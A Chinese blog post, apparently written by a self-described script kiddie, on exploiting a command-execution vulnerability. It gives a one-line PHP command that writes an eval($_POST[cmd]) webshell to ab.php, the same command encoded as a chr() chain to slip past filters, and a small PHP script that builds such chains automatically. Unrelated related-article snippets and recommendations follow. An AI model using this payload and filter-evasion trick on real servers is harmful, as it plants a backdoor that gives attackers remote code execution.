一、在学习命令执行漏洞的过程中,遇到以下情况:

当服务器上传不了马或者马被过滤的时候,我们可以迂回一下,通过执行写马命令到服务器,在服务器里面写马,该命令是通过ascii编码过的命令,防止被过滤。

1 fputs(fopen("ab.php","w"),'<?php eval($_POST[cmd])?>');   //写马命令
2
3 cmd=eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(34).chr(97).chr(98).chr(46).chr(112).chr(104).chr(112).chr(34).chr(44).chr(34).chr(119).chr(34).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59)); //用字符函数chr()表示的ascii转码后的命令

那么问题来了,命令直接转ascii码很简单,用一些编码转换工具就可以做到:

 
但是转换后只会生成一大串的ascii码,并不是以字符函数chr()来表示的,要是一个个添加chr()那会累死人的...所以决定利用php语言来帮我完成这项工作。
 
 
二、首先我们得到的是一大串数字,每个数字要用chr()包含,所以我们可以先把单独的ascii拆分开来,再以“).chr(”拼接。

要用到的函数有:

  • 拆分函数explode()

  • 用法:explode() 函数把字符串打散为数组。
  • 语法:explode(separator,string,limit)

  • 数组元素组合函数 implode()
  • 用法:implode() 函数返回一个由数组元素组合成的字符串。

  • 语法:implode(separator,array)

 
 
三、首先把所有ascii码赋值到$str,再用explode()将空格两边的数字拆下来赋值到$ary()函数,此时$ary()是一个数组
 
1 <?php
2 $str="102 112 117 116 115 40 102 111 112 101 110 40 34 97 98 46 112 104 112 34 44 34 119 34 41 44 39 60 63 112 104 112 32 101 118 97 108 40 36 95 80 79 83 84 91 99 109 100 93 41 63 62 39 41 59";
3 $ary=explode(" ", $str);//拆分字符串
4
5 print_r($ary);//打印数组
6 ?>
 
把数组打印出来看看效果:
 
 
没问题,接着用implode()以").chr("将数组元素拼接起来,赋值到$ary2,然后修一下头尾就可以了:
 
1 <?php
2 $str="102 112 117 116 115 40 102 111 112 101 110 40 34 97 98 46 112 104 112 34 44 34 119 34 41 44 39 60 63 112 104 112 32 101 118 97 108 40 36 95 80 79 83 84 91 99 109 100 93 41 63 62 39 41 59";
3 $ary=explode(" ", $str);
4
5 print_r($ary);//打印数组
6
7 $ary2=implode(').chr(', $ary);//用").chr("将数组元素拼接起来
8 echo "chr(".$ary2.")";//修一下头尾
9 ?>

输出就可以得到我们想要的了:

 
最后:编程能力啊编程能力真的很重要,笔者真惭愧,这个脚本几句话都花了一上午时间。。能力好事半功倍,能力差只能是到处搬砖的脚本小子

 

将大量ASCII码值转换成字符函数CHR()的小技巧的更多相关文章

  1. C语言:将ss所指字符串中所有下标为奇数位置的字母转换为大写-将该字符串中的所有字符按ASCII码值升序排序后输出。-将a所指的4*3矩阵第k行的元素与第0行元素交换。

    //函数fun:将ss所指字符串中所有下标为奇数位置的字母转换为大写,若不是字母,则不转换. #include<conio.h> #include<stdio.h> #incl ...

  2. C语言编程基础学习字符型数据的ASCII码值为何是负数?

    C语言是面向过程的,而C++是面向对象的 C和C++的区别: C是一个结构化语言,它的重点在于算法和数据结构.C程序的设计首要考虑的是如何通过一个过程,对输入(或环境条件)进行运算处理得到输出(或实现 ...

  3. C语言字符型数据的ASCII码值为何是负数?

    有如下一段C语言程序: #include "stdio.h" int main(void) { char a = 0xC8; printf ("字符a的ASCII码值的1 ...

  4. 利用C语言识别用户输入字符并且输出该字符ASCII码值(大小写字母篇)(含思路)

    要求:从键盘输入一个字符,如果输入字符的是小写英文字母,则将其转换为大写英文字母,然后将转换后的英文字母及其ASCII码值输出到屏幕上,如果输入的是其他字符,则不转换并且直接将它及其ASCII码值输出 ...

  5. C语言之将无符号字符型转化为ascii码值

    这个宏是在linux内核中获取的,主要的功能是能够将一个无符号字符型的参数转化为ASCII码值. ASCII : ASCII 编码里包括了128个字符.用 十进制 0  到 127 来表示 .那就对了 ...

  6. C语言:将形参s所指字符串中所有ASCII码值小于97的字符存入形参t所指字符数组中,

    //将形参s所指字符串中所有ASCII码值小于97的字符存入形参t所指字符数组中,形成一个新串,并统计出符合条件的字符个数返回. //关注点:使用*(t+n)的方式可以不改变指针的指向,像数组一样处理 ...

  7. js控制文本框只能输入数字 及 常用字符对应ASCII码值

    方法一: <INPUT TYPE='text' NAME=text onkeypress="a()"><script language=javascript> ...

  8. sort将文件的每一行作为一个单位按ASCII码值进行比较

    1 sort的工作原理 sort将文件的每一行作为一个单位,相互比较,比较原则是从首字符向后,依次按ASCII码值进行比较,最后将他们按升序输出. [rocrocket@rocrocket progr ...

  9. 75. InputStreamReader和OutputStreamWriter(转换流--字节流转换成字符流)

    转换流: InputStreamReader   输入字节流转换成输入字符流OutputStreamWriter  输出字节流转换成输出字符流 总结:就是字节流转换成字符流,但是不能字节流转换成字节流 ...

随机推荐

  1. Android R 新特性分析及适配指南

    Android R(Android 11 API 30)于2020年9月9日正式发布,随国内各终端厂商在售Android设备的版本更新升级,应用软件对Android R 版本的兼容适配已迫在眉睫. 对 ...

  2. 【odoo14】第三章、创建插件

    现在我们已经有了开发环境并了解了如何管理实例及数据库,现在让我们来学习下如何创建插件模块. 本章内容如下: 创建和安装模块 完成manifest文件 组织模块文件结构 添加模型 添加菜单及视图 添加访 ...

  3. C语言II博客作业02

    这个作业属于那个课程 https://edu.cnblogs.com/campus/zswxy/SE2020-4 这个作业要求在哪里 https://edu.cnblogs.com/campus/zs ...

  4. Python中类的特殊属性和魔术方法

    1.属性 属性 含义 __name__ 类.函数.方法等的名字   __dir__ __module__ 类定义所在的模块名 __class__ 对象或类所属的类   只是返回基类 __bases__ ...

  5. HDU-6862 Hexagon (2020HDU 多校 D8 H)

    1008 题意:半径为n的六边形(由半径为1的小六边形组成),从某一个小六边形出发有六个方向,找到一条转向次数最多的路径(用方向表示)遍历所有的六边形(一个六边形只访问一次). 题解:先画出n=3/4 ...

  6. SqlServer触发器的创建与使用

    前言 上期我们介绍了SqlServer的视图和存储过程创建与使用,这期我们介绍一下触发器. 有需要回顾的可以电梯直达看一下: SqlServer视图的创建与使用 SqlServer存储过程的创建与使用 ...

  7. RabbitMQ 入门 (Go) - 7. 数据持久化(下)【完】

    数据库 我使用的是 PostgreSQL. 使用的驱动是 github.com/lib/pq 这个网址 https://pkg.go.dev/github.com/lib/pq 是官方文档. 创建数据 ...

  8. 201871030112-贾傲羊 实验三 结对项目—《D{0-1}KP 实例数据集算法实验平台》项目报告

    项目 内容 课程班级博客链接 课程班级博客链接 这个作业要求链接 作业要求链接 我的课程学习目标 学习PSP流程并运用于结对项目:学习GitHub代码的管理;学习结对编程的流程与内容 这个作业在哪些方 ...

  9. KubeEdge EdgeMesh设计原理

    EdgeMesh主要用来做边缘侧微服务的互访. ServiceMesh service mesh是一个服务网格的概念.在传统的架构里面都是通过像Dubbo来进行服务治理,服务治理的程序和我们应用程序强 ...

  10. CentOS 7.6部署Vue + SrpingBoot + MySQL单体项目

    对于独立的项目(前端.后台单体服务.数据库),部署到新服务器上时,常常需要繁琐的配置与环境安装,这里介绍Centos 7.6下如何搭建基于Docker的环境,以及如何使用docker部署一套Vue + ...